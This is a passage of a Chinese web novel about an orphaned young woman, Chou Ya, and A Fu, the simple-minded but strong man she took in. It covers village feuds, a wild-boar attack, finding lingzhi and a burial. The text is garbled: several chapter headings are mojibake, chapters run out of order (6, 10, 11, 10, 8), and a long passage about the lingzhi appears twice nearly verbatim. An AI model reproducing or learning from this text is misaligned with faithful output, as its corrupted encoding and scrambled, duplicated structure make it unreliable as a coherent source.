丑丫看上了一张大床,挺宽敞,就算两个人都能睡得下,问了老木匠价格,这一张大床就要五百文! 五百文的床,丑丫从来没睡过,着实有些肉疼,但看阿福一脸喜欢的样子,咬牙买了。 老木匠接过铜板,笑着打趣:“我这床啊,结实耐造,一看你们就是新婚小夫妻,使劲折腾都没事儿!” 丑丫脸红了一片,低头嗫嚅着想解释,可身旁的阿福已经傻乐着叫好。 “结实好!阿福喜欢结实的大床!” 老头大笑,丑丫窘迫的拉着傻阿福离开木匠铺子,这个大傻子,什么都不懂,瞎应和什么! 床架子是拆开的,这样方便拉运,回家可以自己拼上,将床架子装到板车上,阿福拉着板车走。 又见卖糖葫芦的小贩,丑丫还是给阿福买了一根,这次难得对自己大方,也给自己买了一根。 临走时,还买了两斤肉,她答应过阿福,今天给他买肉,明天炖肉吃! 回去的路上,日头渐渐西斜,天色转暗,两人行走在夜色中。 以往这样的夜路,丑丫走过无数次,可没有哪一次是像今晚一样,整颗心热乎乎的。 “娘子,你别怕,阿福会保护你的!” “娘子,你小心些,别摔倒了哦。” 第6章 遇到野猪,阿福会飞? 回到了小破院,一盏昏暗的油灯照亮了狭小的屋子,丑丫拿出背篓里的东西,最后将那根包裹掩严实的糖葫芦递到阿福跟前。 “呐!给你买的,快吃!” 阿福眼睛都亮了,看着那串红彤彤的糖葫芦,脸上满是笑意:“哇,谢谢娘子,阿福喜欢!” 可看了好一会儿,他却不动口,而是将糖葫芦喂到了丑丫嘴边:“娘子先吃,你吃完,阿福再吃!” 丑丫的心更暖了,爹娘去世后,她便再也没吃过糖葫芦,早忘记了是什么味道,但开口却是:“阿福自己吃,我已经吃过了。” 阿福认真地眨巴着眼睛盯着丑丫看了好一会儿,觉得她不像是撒谎,才将糖葫芦塞进嘴里。 酸酸甜甜的滋味,让他眯起了眼睛,浑身的愉悦气息也感染了丑丫。 天已黑,二人却还都没吃饭,丑丫在厨房里忙活,阿福像跟屁虫一样紧跟着她,嘴里嘬着糖葫芦,眼睛却一眨不眨地盯着锅里熬的喷香的鸡汤。 那眼巴巴的模样,看着着实可怜,丑丫有些心酸,看来今天把阿福给饿坏了。 鸡汤里只简单的加了些葱姜调料,鲜香味扑鼻,丑丫难得奢侈一会,用鸡汤给自己煮了一碗略稠一些的糙米粥,又给阿福煮了一大碗鸡汤面。 厨房里的饭桌有些年头了,很小,丑丫用着刚合适,人高马大的阿福坐在桌边,就显得有些滑稽。 山楂开胃,一根糖葫芦啃完,阿福的肚子更饿了,等娘子将一大碗香喷喷、白花花的面条端到他面前,他不停地吞口水,拿起筷子准备开吃。 可当看到丑丫碗里黑乎乎的糙米粥时,阿福不高兴了,那双好看的剑眉皱了起来。 他将面条推到丑丫面前,撅着嘴道:“娘子吃面,阿福吃粥。” 丑丫微微愣神,随即心暖得像要化了一般,她何德何能,能遇上这个体贴入微的大傻子。 她强忍喉间那股涌上来的酸涩,柔声道:“阿福吃,我不喜欢吃面,我就喜欢喝粥。” 阿福这次不信了,黑乎乎的粥他今早吃过,一点也不好吃,怎么会有人喜欢吃不好吃的东西呢,阿福可聪明了,才不会信呢! “不要,那阿福也不喜欢吃面,要和娘子一起喝粥!” 男人耍小脾气了,双手抱胸,将脑袋转向另一边,不看丑丫,嘴也撅着,只是余光时不时地偷瞄两眼。 丑丫无奈,最后妥协,粥和面一人一半,混着吃,这样才把生气的阿福给哄好。 阿福到丑丫家已经六天了,身上的伤已经结了痂,愈发活蹦乱跳,成日跟在丑丫身后,寸步不离。 一连几天,李家人都没能找到李狗蛋,李狗蛋的亲娘疯了,见到丑丫和阿福便像见鬼一般逃跑,嘴里还大喊大叫。 村民大概都是记吃不记打的,被阿福打了一顿,才没过几天,他们的畏惧已经消散了不少,看丑丫和阿福依旧没什么好脸色。 今天,丑丫又要上山砍柴,阿福自然要粘着他,已经熟门熟路地背着背篓往山林的方向走。 路上遇到村民,对他们鼻子不是鼻子,眼睛不是眼睛的,指桑骂槐、吐唾沫的皆有,阿福气不过,举着砍柴刀就追过去,凶巴巴地喊着:“站住,看我不砍死你!” 将人吓得屁滚尿流、哭爹喊娘的逃跑。 而丑丫则紧追着阿福的步伐,在身后默默发笑,这样舒服的日子,让她觉得有些恍惚,好像做梦一般,自从遇上了阿福,她的生活又有了温度。 到了山林,阿福再次聚精会神地找野鸡,手里还握着一根削尖的木棍,这是他用来打猎的武器。 不过大概是好运上次用光了,今天一直没能遇上野鸡,除了头顶叽喳叫的鸟,其余什么野物都没发现。 阿福有些沮丧,耷拉着大脑袋,高大的身板往丑丫身边凑,要丑丫摸摸脑袋才能好。 回去的路上途经山谷,山谷间有一条小溪流过,水十分清澈干净,上山的人都会在这里歇脚喝水。 丑丫和阿福也在溪边歇脚,喝些水解渴,阿福还有些不开心地撅着嘴,耳朵却突然动了动,目光瞬间变得警惕,看向声音来源的方向。 只见,溪边不远处的草丛中,似有活物在跑动,使得杂草窸窣作响,丑丫也听到了动静,转头看去,还没等看清楚,就见那草丛中竟然窜出一头大野猪。 野猪长得很壮实,估摸得有两百多斤,尖利的獠牙在阳光下泛着寒光,眼神凶狠地盯着他们,像是想要将他们给挑飞。 丑丫的脑子空白了一瞬,随即便拉住阿福的手狂奔逃跑。 野猪生性凶残野蛮,危险程度不亚于老虎豹子,要是被它的獠牙给挑中,不死也得半残废! 但他们两条腿跑不过四条腿,野猪越来越近,身上的膘随着奔跑而抖动,嘴边也不停流下粘稠拉丝的哈喇子。 人越逃跑,野猪越狂躁,一个猛冲,飞奔直射,獠牙眼看就要戳中两人的腿。 丑丫目光一凛,抬手要将阿福给推开,但阿福却快她一步,大手搂住她的腰,脚尖一点,竟然抱着她跳到了身前的树上。 野猪扑了个空,一脑袋撞到了树干上,树剧烈抖动,丑丫吓得一颤,手紧紧地抱住树干,都可以听到自己扑通扑通的心跳声。 缓了一会儿,她突然意识到,刚刚阿福好像是抱着她飞到树上的! 阿福会飞? 她又震颤得变了神色,转头看向一只手还紧紧护着她的男人,却发现他也同样吓得面色发白,满脸慌乱,只不过那只手却不曾离开她的后腰。 那一瞬的震惊立即消散,取而代之的是心疼,她空出一只手,轻轻地,一下一下顺着阿福的背,温柔地安抚:“阿福,不怕啊,已经没事了。” 阿福也从惊吓中回神,一张俊脸委屈极了,抱住丑丫,将脑袋搭在她肩上,像个孩子一样委屈地撒娇:“娘子,阿福害怕!” 就在两人以为劫后余生之时,树下的野猪又狂躁地发动进攻,一下又一下地撞着树干。 这棵树并不是很粗,两百多斤的野猪力量巨大,再加上那锋利的獠牙,树迟早会被它撞断。 丑丫有些着急,在思考着怎么带阿福逃跑,没注意到阿福本来害怕慌乱的神色变得坚定,手也离开她的后腰,目光凶狠地盯着树下的野猪。 他要保护娘子!他要杀了这头野猪! 虽然变得痴傻,但似乎他之前的身体记忆还在,握紧手中的长木棍,他足下一跃,竟然轻飘飘地飞下了树,落在了野猪的后方。 丑丫被突然跳下树的阿福吓了一跳,惊呼出声:“阿福!” 却见阿福手握削尖的长木棍,气势凶狠地朝着野猪冲去,瞄准它的腹部。 但野猪反应很快,在木棍尖端即将刺中其腹部时,它身子一闪躲开,木棍偏航,刺中了它的背部。 野猪皮极厚,即使阿福使了最大的力气,那木棍居然也只是将它的皮给划开一条长痕,没有造成特别严重的伤害。 野猪吃痛,仰着脖子惨嚎,脾气变得愈发暴躁,眼眸猩红,直接凶狠地朝着阿福冲去。 丑丫心惊胆战,泪流满面都不自觉:“阿福,快跑!” 她嘶吼着,可阿福却没跑,反而正面迎上野猪的攻击! 绗?绔?鎴戠殑鐢蜂汉涔熸槸浣犺繖绉嶈揣鑹茶兘鍕惧紩鐨勶紵 清风绿草,夏日的清晨少了白天的炎热,人的心情也因此变好。 阿福挑着一对水桶往河边走,脸上挂着灿烂的笑容,娘子在给他做饭,等他挑水回去就可以吃饭了! 路上,也遇上了去挑水的半大孩子,看到阿福,他们跑得像一阵风,嘴里嚷嚷着:“傻子来喽!傻子来喽!” 阿福不高兴,灿烂的笑容顿时没了,气鼓鼓地板起了脸,抬脚便朝着那些骂他的半大孩子追去。 那些孩子哪里能跑得过他,鞋都跑掉了,吓得吱哇乱叫,还有的边跑边嗷嗷大哭,他们哪儿知道傻子这么能跑,要知道的话,说什么也不敢招惹他! 阿福追上了人,抬脚便朝着他们的屁股踹去,还注意收了力道。 娘子说过,要是别人欺负他,可以打人,但是不能把人给打死了,不然的话,他就会被抓去蹲大牢,就再也见不到娘子了。 半大孩子们被踹得一个个摔在地上,屁股火辣辣的疼,哭得眼泪鼻涕糊一脸。 阿福站在他们跟前,魁梧得像一座山,他一本正经地教训他们,凶巴巴道:“不许骂我是傻子,我娘子说了,我最聪明了!” “你们骂我,我不高兴,我就打你们,下次再骂,我还打!” 傻乎乎的男人像小孩子斗嘴一样气鼓鼓地给一群半大孩子讲道理,莫名有些可爱,但被打的孩子们可不这么觉得。 此时阿福在他们眼里,那就是罗刹恶鬼,会吃小孩的那种,他们以后再也不敢招惹他了! 河边 阿福打了两桶水,正准备走,却见一个女人朝他走来,正是小寡妇王翠香。 她已经提前探查过,傻子每天早上都会到河边挑水,所以,今天她特地穿上了她最好的一身衣裳,还抹了胭脂。 阿福不认识她,也不想搭理她,挑上水桶就走,可是谁知那女人居然挡住他的路! 王翠香手里捏着张帕子,学着那些城里小姐的模样,掩唇娇羞一笑,不过东施效颦,做出来格外的辣眼睛。 阿福闻到她身上刺鼻的劣质脂粉味儿,不喜地皱了下鼻子,后退了好几步。 王翠香没想到傻子居然躲开自己,脸上的表情皲裂了一瞬,随即又恢复了娇羞样。 “你叫阿福是吧,姐姐这里有好东西,要不要跟姐姐去看看?” 她自以为温柔如水的声音,听在别人耳里却是矫揉造作,说话间,那双吊三角眼还不停地给阿福抛媚眼。 阿福嫌弃得直皱眉,这个老妖婆,好丑,好臭,好恶心! 难道她就是娘子说的拐卖人口的人贩子吗? 丑丫怕阿福傻乎乎地被人骗,就给他讲人贩子的故事,很好,现在他活学活用,直接将王翠香当人贩子了。 王翠香见他脸上嫌弃的神色,心里愤恨,死傻子,居然还敢嫌弃她,她不比那丑八怪好千百倍! 但想想这傻子打猎的本事以及这完美的皮相和身材,她又笑起来,朝着阿福扑了过去,作势要牵起他的手往她的胸口探去。 她这胸口,鼓鼓囊囊的,男人最是喜爱,只要让这傻男人尝过味儿,她就不信不能迷倒他! 阿福见那人贩子居然敢直接来拽他走,当即脸色黑沉沉的,手中的扁担一扫,铁链子打在了王翠香脸上,疼得她嗷嗷大叫。 紧接着,他便抬脚,一脚踹在了她身上,将人给踹下了河! 扑通一声掉下水,王翠香如同疯婆子一般在水里扑腾,脸上被扁担的铁链打肿,留了长长一道血口子,就连牙齿都被打松动了。 阿福叉腰,对着水里的王翠香得意道:“臭人贩子,我才不会上你的当呢,略略略” 傻傻的阿福挑上水桶就回家,河边传出一声声爆笑,笑王翠香的。 早上河边挑水的人不少,他们都知道王翠香是个什么货色,肯定是看上了丑八怪家的傻子,想勾引他。 他们也见不得丑八怪的日子越来越好,心想要是王翠香将傻子勾搭去也好,可没想到,这傻子居然不上当,还将王翠香当成了人贩子! 但一些妇人觉得好笑的同时,心里又忍不住泛酸,为什么这么好的男人不是她们的! 傻子虽傻,可却疼媳妇儿,她们可是见过很多次,傻子连背篓都不让丑八怪背,不仅如此,他还会打猎,长得又俊,比起她们家里只会吆喝她们干活的男人,好了不知多少! 阿福出门挑水许久都不曾回去,丑丫心里担忧,出门来寻,还没到河边,远远的就看到王翠香往阿福身边凑。 她心里咯噔了一下,快步朝河边跑,还没跑到,就见阿福一脚将人给踹下了河。 她噗嗤笑出声,心头的担忧消散,她不是怕阿福变心,而是怕王翠香使手段,坏了阿福的名声。 走到河边,阿福看到她,开心的邀功:“娘子,这个人贩子想骗我,我才不上当呢,把她一脚踹下河!” 阿福手舞足蹈的给她演示他刚才的英勇,丑丫耐心的听着,听完,夸赞道:“阿福可真棒!” 被娘子夸的阿福更开心了,脑袋扬得高高的,笑容十分灿烂。 丑丫走到河边,看着还在水里扑腾的王翠香,那张布满胎记的小脸上是森然的寒意,冷淡又霸气道:“我的男人也是你这种货色能勾引的?也不撒泡尿照照自己是什么骚样!” “再有下次,可不是下河这么简单,我让你沉塘!” 说完,她牵着阿福的手走了,王翠香在河里直打哆嗦,一点也不怀疑丑八怪的话,因为这丑八怪疯起来是个不要命的! 回到家中,丑丫看着埋头呼哧呼哧吃饭的阿福,心里有些不是滋味,这个大傻子还真是耀眼呐,这么快就有人想勾搭他了! 可是想到阿福满心满眼都是她的样子,她又笑了起来,何必庸人自扰,只要阿福在她身边就好! 上次被村民踹坏的篱笆门还没修好,丑丫去砍了些竹子,准备修篱笆,阿福跟在她身边认真的看,没一会儿的功夫居然就已经学会了,上手编起了篱笆,有模有样。 “娘子,这些交给我就好,你去休息。” 阿福坐在小马扎上认真的编篱笆,自己学会了,就不让丑丫上手了,将她赶去休息。 丑丫手撑着下巴,仰头呆呆的看着男人,他真的很聪明,比她见过的任何人都聪明,要是他没傻,那该是何种风采? 绗?0绔?濞樺瓙锛屽揩鐪嬶紝濂藉ぇ鐨勮槕鑿囷紒 阿福见娘子盯着他看,那张俊脸挂上灿烂的笑容,将脸凑到丑丫跟前:“娘子是不是特别喜欢阿福?” 肯定是喜欢,不然娘子才不会盯着阿福看呢! 俊美非凡的脸近在咫尺,男人又问出如此羞人的话,丑丫抑制不住的脸红,片刻后又点头,小声应道:“嗯,喜欢。” 阿福笑得更加灿烂了,低沉的嗓音又憨又乖巧:“阿福也特别特别喜欢娘子!” 丑丫待不住了,一张脸红得不像话,逃一般地回了房间,拿出给阿福新买的两块布料,认真地裁剪做衣裳。 这个傻男人,不知道说这种话让人多难为情吗? 小破院中,高大英俊的男人坐在小马扎上,认真地编篱笆,而女人则坐在屋檐下,手里拿着针线布料,细心地缝制衣裳。 两人不时的对望,眼底都是笑意,原本破旧萧条的小院中,满是甜蜜的味道。 盛夏时节,田里都是劳作的农人,但丑丫没地可种,除了上山砍柴、打猪草、挖野菜,就没什么其他农活可干。 他们家是村里的外来户,本就没地,五岁时,爹娘又死了,她连活着都难,更别说挣钱买地了,只在小破院边角处开垦了一块小菜地,用来种些常吃的菜。 自从捡了阿福回来以后,小菜地的面积又扩大了,种的菜数量也加倍,阿福每天都去挑水回来浇菜地,本来打理菜地是丑丫的活,但渐渐地也被阿福给抢了去。 菜苗长得绿油油的,阿福将菜地当成了他的宝贝,要是有鸡进菜地里偷啄了菜叶子,他能蹲在鸡的面前,和它讲一个下午的大道理,每次都把丑丫逗得捧腹大笑。 今天要进山打猪草,家里养了一头大肥猪,等年底了赶去卖钱。 阿福又带了他的武器,只不过这次升级了,他用竹子给自己做了一把简易的弓,背上还背着竹筒做成的箭篓子,里面插着削尖的竹片。 他依旧想不起之前的事情,但做这些却轻车熟路,好像他以前做过无数次一般。 背着弓,手里还拿着把叉子,结实的长木棍,一端固定了三根钉子,打磨得很锋利,要是遇上凶猛的猎物,一叉子就能插进皮肉里。 今天没再遇上野猪,但发现了野鸡,有了弓箭,打野鸡更方便了。 阿福拉弓,箭头瞄准树杈上站着的一只野鸡,眼神微眯,闪着凌厉的光芒,如同运筹帷幄的将军。 嗖! 箭射出,带着强劲的力道直直嵌入野鸡体内,动作如此迅速,野鸡察觉到危险,还没来得及逃跑,就已经掉在了地上。 见野鸡落地,阿福就如同一只欢快的兔子,蹦跳着跑出去,将野鸡捡起来向丑丫邀功,憨憨傻傻的,哪儿还有刚才的威风样。 丑丫无奈,每次见阿福展现不同常人的风采时,她都有些担忧,他这么优秀,一定是个了不起的人,若哪天他恢复正常,一定会离开这个穷乡僻壤,离开她这个丑八怪。 有时,她觉得自己太过贪婪和恶毒,尝试过被人保护的滋味,她就不想再一个人面对生活了,她甚至希望阿福永远痴傻下去,这样,他才能是属于她一个人的。 猪草长得茂盛,不需要多久便可以割满一箩筐,丑丫弯腰割猪草,阿福便在她周围不远处找猎物。 山的外围其实猎物并不是很多,村里的猎户也会经常上山打猎,阿福在射到一只野鸡后便没再发现其他,不开心地撅着嘴。 他无聊地用手里的叉子挑着地上堆积的枯枝落叶,落叶被挑开,一朵长在朽木上的大红蘑菇显露在他面前。 蘑菇!这么大一朵,一定很好吃! 他吃过蘑菇,夏季雨水多,蘑菇也长得多,丑丫前几天就捡了不少,用蘑菇炖了肉,很香,他吃了好几碗饭呢。 阿福蹲在地上,很小心的将大红蘑菇给采了起来,兴高采烈地跑回去找丑丫。 “娘子,娘子,你看,特别大的大蘑菇!” 丑丫听到阿福的声音,割猪草的动作停下,站了起来,看向阿福跑来的方向,嘴角不自觉地带上了笑意。 阿福腿长,几步的功夫就跑到丑丫跟前了,捧着大蘑菇,笑得傻乎乎:“娘子,今天炖肉吃,阿福想吃蘑菇!” 待丑丫看清他手里所谓的蘑菇,惊得手里的镰刀都掉地上了。 “呀!” 她惊呼一声,本来就大的眼睛愈发瞪得圆溜溜的,手有些微微颤抖,小心翼翼地接过阿福手里的“蘑菇”。 仔细观察手里的东西,她的心脏狂躁地跳动,这哪里是什么蘑菇,分明就是灵芝! 她吞了口口水,有些颤巍巍道:“阿福,这蘑菇不能吃。” 阿福一听这话,眼睛都瞪大了,脸上也挂上了嫌弃的神色。 这么大的蘑菇不能吃,不是好蘑菇,哼! 傻憨憨阿福作势就要拿过丑丫手里的不能吃的蘑菇给扔了,丑丫连忙阻止,脸上的喜色再也忍耐不住:“我的傻阿福,这是灵芝,可以卖钱的灵芝!” 阿福的注意力不在灵芝可以卖钱上,全汇聚在了那个“傻”字。 娘子居然说他傻!他不是娘子最爱的阿福了吗? 丑丫乐呵了一会儿,没听到阿福跟着傻乐的声音,疑惑地抬头,才发现某个男人已经委屈巴巴的要哭出来了,那嘴撅的,可以当个挂钩。 这副模样,真的很像被欺负了,委屈又不敢表达的大狗子。 丑丫傻愣了一瞬,回想刚才的对话,瞬间明白了怎么回事,有些哭笑不得。 “阿福不生气,是我错了,我们阿福最聪明,最乖了,一点也不傻,我刚刚就是说顺嘴了,不是那个意思,阿福能原谅我吗?” 男人的脸,就像六月的天,刚刚还委屈得泪眼汪汪,现在得句好话就高兴到了天上,那张俊脸上挂满了憨笑。 丑丫感概,这男人长得是真的好看呐,憨笑都能这么迷人,要是他恢复了正常,又该是何种风采? 不过现在不适合去想那些有的没的,她的心还记挂在阿福采的灵芝上,这么大根灵芝,能卖不少钱呢! 她看向阿福,觉得他就是她的锦鲤,是老天派来拯救她的天神,自从遇上了阿福,她的生活越来越好了。 绗?1绔?浣犺洞鎴戝簥搴曚笅鍚埌浜嗭紵 回家的路上,阿福背着满满一箩筐的猪草,灵芝被丑丫藏在猪草里了,这么宝贵的东西,要是让村里人发现了,肯定又会生出不必要的麻烦。 阿福已经知道灵芝可以卖好多钱了,后知后觉地傻乐起来,卖好多钱,就能买好多糖葫芦,娘子一串,他一串,酸酸甜甜的糖葫芦,特别好吃! 丑丫手里拎着阿福今天用弓箭射的野鸡,路上遇到村里的人,走路都是抬头挺胸的。 她家阿福,就是这么厉害,别人只有羡慕的份儿! 村里人自然见不得她这嚣张样子,但也没办法,傻子打人以及一脚将王寡妇踹下河的画面还历历在目,他们只能夹着尾巴做人,不敢上去招惹。 丑丫和阿福本来高涨的好心情,在回到小院门口那一瞬,化为了乌有。 门口站着一个八九岁的小男孩,鬼头鬼脑的,看样子像是在望风。 见两人回来,小男孩明显吓了一跳,神情掩饰不住的慌乱,拔腿便往院内跑,口中大喊:“丑八怪和傻子回来了!” 屋内是一阵兵荒马乱的乒乓声,显然是有人在里面翻箱倒柜。 丑丫的脸色沉了下来,握紧手中的镰刀走了进去。 阿福刚修好的篱笆门,又被人给踹坏了,她养的大肥猪也被放出了猪圈,被另外两个孩子追着撵,看样子是想将它撵出院外。 阿福也将身上的背篓放下,手里拿着他的弓箭,跟上丑丫的步伐。 “里面的人给我滚出来!不然别怪我不客气!” 丑丫厉喝一声,手里不知何时捡的小石子朝着正在撵她的大肥猪的十多岁男娃头上砸去。 别说她以大欺小,她不也才十六岁?别人欺负她的时候可没看她小不小! 男娃被砸得猝不及防,没有躲开,头上起了个大包,顿时哇一声哭了起来,哭得撕心裂肺。 另一个和他一同撵猪的女孩被吓住了,不敢再有所动作,定定地站在原地。 这女孩丑丫认得,王翠香娘家的侄女,也是同一个村的,和她一个年纪。 看来今日到她地盘上搞鬼的是王翠香娘家人! 男娃的哭声终于让屋内的人出来,一个长相尖酸刻薄的老妇冲出房门,痛心疾首道:“哎呦,我的乖孙孙,伤哪里了?” 老妇不把丑丫放在眼里,似是看不到她一般,就要往哭闹的孙子边走去。 但刚挪动两步,只听嗖一声,一支带着强劲力道的竹箭从她的脸侧飞过。 老妇被吓得愣住,脸颊剧痛,没回神的她机械地抬手摸过脸颊,只感觉潮湿一片,定睛一看,掌心都是殷红的血迹。 “啊!杀人啦!” 血迹让她瞬间回神,嗓音如同干嚎的乌鸦一般嘶哑难听。 她叫唤了一声,下一支竹箭已经迎着她的面门飞射过来,她瞳孔涣散,眼睁睁地看着竹箭朝她射来,脚却如同被定在了原地一般动弹不得。 嗖! 竹箭再次飞过,紧贴着她的头皮,削去了一层皮肉,连带头发都秃了一层,头皮上留下一道长长的血口子。 老妇吓瘫在地上,下半身的粗布裙早就湿了,活生生被吓尿的。 头皮火辣辣的疼,脸上也糊了半脸的血,她的惨叫声更甚,屋内翻箱倒柜的人终于舍得出来了。 来的这群人是王翠香的娘家人,王翠香被阿福踹下河后,被人给捞了起来,但烧了好几天,人都差点烧没了。 她娘家人知道这件事,就打起了如意算盘。 虽然他们不让王翠香回家,但打断骨头连着筋,再怎么说,她也是他们老王家的人,丑八怪家的傻夫踹了人,他们来要点医药费也是应该的! 而且丑八怪家的傻夫会打猎,前不久刚打了一头野猪,肯定不差钱,他们来要点医药费怎么了? 傻夫虽厉害,但是他们老王家壮丁多,一个个人高马大,难不成还怕一个傻子? 这般想着,王家人今日就老老少少齐出动来找丑丫和阿福麻烦,谁想两人不在家,王家人觉得是天赐良机,直接踹门强抢! 听到老娘鬼哭狼嚎的声音,屋内的三个壮汉外加一老头,以及厨房里的三个妇人都出来了。 丑丫看到这一群人,心里冷笑,一家人来得还真是整整齐齐! 王家满脸横肉、一脸络腮胡的大儿子见老娘的惨状,吓了一跳,随即又是愤怒,叉腰骂道。 “好你个丑八怪,前几天打伤我妹妹,现在又打伤我娘和我儿子,给我赔钱,今天要是不赔我三十两银子,这事儿就别想过去!” 丑丫冷哼一声,人虽只有王大壮一半的斤两,但气势却要高他一头。 “过不去就过不去,还当我怕了你?让我赔钱,也不瞧瞧自己配不配!” 王大壮被气得说不出话,他家婆娘见状,立马帮自家男人骂回去。 “和大老爷们儿吵架就能显得你能耐了?有本事和老娘吵,勾搭男人的下贱货,要不是这男人傻了,能看得上你这丑八怪?” 妇人说着,眼神往阿福身上瞅了好几眼,越瞅越酸,这男人真是俊,怎么就眼瞎看上丑八怪了呢! 丑丫冷笑,反讽回去:“你怎么知道我勾搭男人?你趴我床底下亲眼看见了?是,我是长得丑,但我也被我家阿福看上了,不像你,烂锅配烂灶,就该你和这满脸横肉猥琐又丑的男人过一辈子!” 论骂人,她从来不虚,就这三两肉还想来和她比? 但有时候,比起嘴上功夫,拳头才是最好使的! 唧唧歪歪这么长时间,她也不想再和这群人费口舌,她从来都是一个打架不要命的人,没有别人都欺负到家里了,她还安然无恙让他们离开的道理! “阿福,这几个男的交给你,我去收拾那几个女的!” 阿福眸中升起一股莫名的激动,好像他天生就喜欢打斗一般,但他哪舍得让娘子动手,低沉的嗓音十分乖巧:“娘子,你去坐着休息,阿福来就好,阿福打得他们落花流水!” 丑丫心里暖暖的,笑道:“男人的事情男人来解决,女人的事情自然也得由我这个女人来解决,阿福乖,去吧。” 第10章 娘子,快看,好大的蘑菇! 阿福见娘子盯着他看,那张俊脸挂上灿烂的笑容,将脸凑到丑丫跟前:“娘子是不是特别喜欢阿福?” 肯定是喜欢,不然娘子才不会盯着阿福看呢! 俊美非凡的脸近在咫尺,男人又问出如此羞人的话,丑丫抑制不住的脸红,片刻后又点头,小声应道:“嗯,喜欢。” 阿福笑得更加灿烂了,低沉的嗓音又憨又乖巧:“阿福也特别特别喜欢娘子!” 丑丫待不住了,一张脸红得不像话,逃一般地回了房间,拿出给阿福新买的两块布料,认真地裁剪做衣裳。 这个傻男人,不知道说这种话让人多难为情吗? 小破院中,高大英俊的男人坐在小马扎上,认真地编篱笆,而女人则坐在屋檐下,手里拿着针线布料,细心地缝制衣裳。 两人不时的对望,眼底都是笑意,原本破旧萧条的小院中,满是甜蜜的味道。 盛夏时节,田里都是劳作的农人,但丑丫没地可种,除了上山砍柴、打猪草、挖野菜,就没什么其他农活可干。 他们家是村里的外来户,本就没地,五岁时,爹娘又死了,她连活着都难,更别说挣钱买地了,只在小破院边角处开垦了一块小菜地,用来种些常吃的菜。 自从捡了阿福回来以后,小菜地的面积又扩大了,种的菜数量也加倍,阿福每天都去挑水回来浇菜地,本来打理菜地是丑丫的活,但渐渐地也被阿福给抢了去。 菜苗长得绿油油的,阿福将菜地当成了他的宝贝,要是有鸡进菜地里偷啄了菜叶子,他能蹲在鸡的面前,和它讲一个下午的大道理,每次都把丑丫逗得捧腹大笑。 今天要进山打猪草,家里养了一头大肥猪,等年底了赶去卖钱。 阿福又带了他的武器,只不过这次升级了,他用竹子给自己做了一把简易的弓,背上还背着竹筒做成的箭篓子,里面插着削尖的竹片。 他依旧想不起之前的事情,但做这些却轻车熟路,好像他以前做过无数次一般。 背着弓,手里还拿着把叉子,结实的长木棍,一端固定了三根钉子,打磨得很锋利,要是遇上凶猛的猎物,一叉子就能插进皮肉里。 今天没再遇上野猪,但发现了野鸡,有了弓箭,打野鸡更方便了。 阿福拉弓,箭头瞄准树杈上站着的一只野鸡,眼神微眯,闪着凌厉的光芒,如同运筹帷幄的将军。 嗖! 箭射出,带着强劲的力道直直嵌入野鸡体内,动作如此迅速,野鸡察觉到危险,还没来得及逃跑,就已经掉在了地上。 见野鸡落地,阿福就如同一只欢快的兔子,蹦跳着跑出去,将野鸡捡起来向丑丫邀功,憨憨傻傻的,哪儿还有刚才的威风样。 丑丫无奈,每次见阿福展现不同常人的风采时,她都有些担忧,他这么优秀,一定是个了不起的人,若哪天他恢复正常,一定会离开这个穷乡僻壤,离开她这个丑八怪。 有时,她觉得自己太过贪婪和恶毒,尝试过被人保护的滋味,她就不想再一个人面对生活了,她甚至希望阿福永远痴傻下去,这样,他才能是属于她一个人的。 猪草长得茂盛,不需要多久便可以割满一箩筐,丑丫弯腰割猪草,阿福便在她周围不远处找猎物。 山的外围其实猎物并不是很多,村里的猎户也会经常上山打猎,阿福在射到一只野鸡后便没再发现其他,不开心地撅着嘴。 他无聊地用手里的叉子挑着地上堆积的枯枝落叶,落叶被挑开,一朵长在朽木上的大红蘑菇显露在他面前。 蘑菇!这么大一朵,一定很好吃! 他吃过蘑菇,夏季雨水多,蘑菇也长得多,丑丫前几天就捡了不少,用蘑菇炖了肉,很香,他吃了好几碗饭呢。 阿福蹲在地上,很小心的将大红蘑菇给采了起来,兴高采烈地跑回去找丑丫。 “娘子,娘子,你看,特别大的大蘑菇!” 丑丫听到阿福的声音,割猪草的动作停下,站了起来,看向阿福跑来的方向,嘴角不自觉地带上了笑意。 阿福腿长,几步的功夫就跑到丑丫跟前了,捧着大蘑菇,笑得傻乎乎:“娘子,今天炖肉吃,阿福想吃蘑菇!” 待丑丫看清他手里所谓的蘑菇,惊得手里的镰刀都掉地上了。 “呀!” 她惊呼一声,本来就大的眼睛愈发瞪得圆溜溜的,手有些微微颤抖,小心翼翼地接过阿福手里的“蘑菇”。 仔细观察手里的东西,她的心脏狂躁地跳动,这哪里是什么蘑菇,分明就是灵芝! 她吞了口口水,有些颤巍巍道:“阿福,这蘑菇不能吃。” 阿福一听这话,眼睛都瞪大了,脸上也挂上了嫌弃的神色。 这么大的蘑菇不能吃,不是好蘑菇,哼! 傻憨憨阿福作势就要拿过丑丫手里的不能吃的蘑菇给扔了,丑丫连忙阻止,脸上的喜色再也忍耐不住:“我的傻阿福,这是灵芝,可以卖钱的灵芝!” 阿福的注意力不在灵芝可以卖钱上,全汇聚在了那个“傻”字。 娘子居然说他傻!他不是娘子最爱的阿福了吗? 丑丫乐呵了一会儿,没听到阿福跟着傻乐的声音,疑惑地抬头,才发现某个男人已经委屈巴巴的要哭出来了,那嘴撅的,可以当个挂钩。 这副模样,真的很像被欺负了,委屈又不敢表达的大狗子。 丑丫傻愣了一瞬,回想刚才的对话,瞬间明白了怎么回事,有些哭笑不得。 “阿福不生气,是我错了,我们阿福最聪明,最乖了,一点也不傻,我刚刚就是说顺嘴了,不是那个意思,阿福能原谅我吗?” 男人的脸,就像六月的天,刚刚还委屈得泪眼汪汪,现在得句好话就高兴到了天上,那张俊脸上挂满了憨笑。 丑丫感概,这男人长得是真的好看呐,憨笑都能这么迷人,要是他恢复了正常,又该是何种风采? 不过现在不适合去想那些有的没的,她的心还记挂在阿福采的灵芝上,这么大根灵芝,能卖不少钱呢! 她看向阿福,觉得他就是她的锦鲤,是老天派来拯救她的天神,自从遇上了阿福,她的生活越来越好了。 绗?8绔?鎵撶畻鍘诲崠闈2潯 回想到那些往事,丑丫红了眼眶,一路走来有多艰难苦涩,只有她自己知道,但是现在好了,老天爷来弥补她了,她有阿福! 挖了一个深土坑,将王翠香给放入坑底,没有棺材,只裹了一张破草席,泥土渐渐将她的尸体掩埋,最后堆成一个小土堆。 一个人,不管生前多么轰轰烈烈,死后都会变成一个安安静静的小土堆,随着时间的推移,逐渐被人遗忘。 丑丫没给她立碑,猜想她大概也不希望今后有人看到碑上她的名字时,提起的是她不堪的过往。 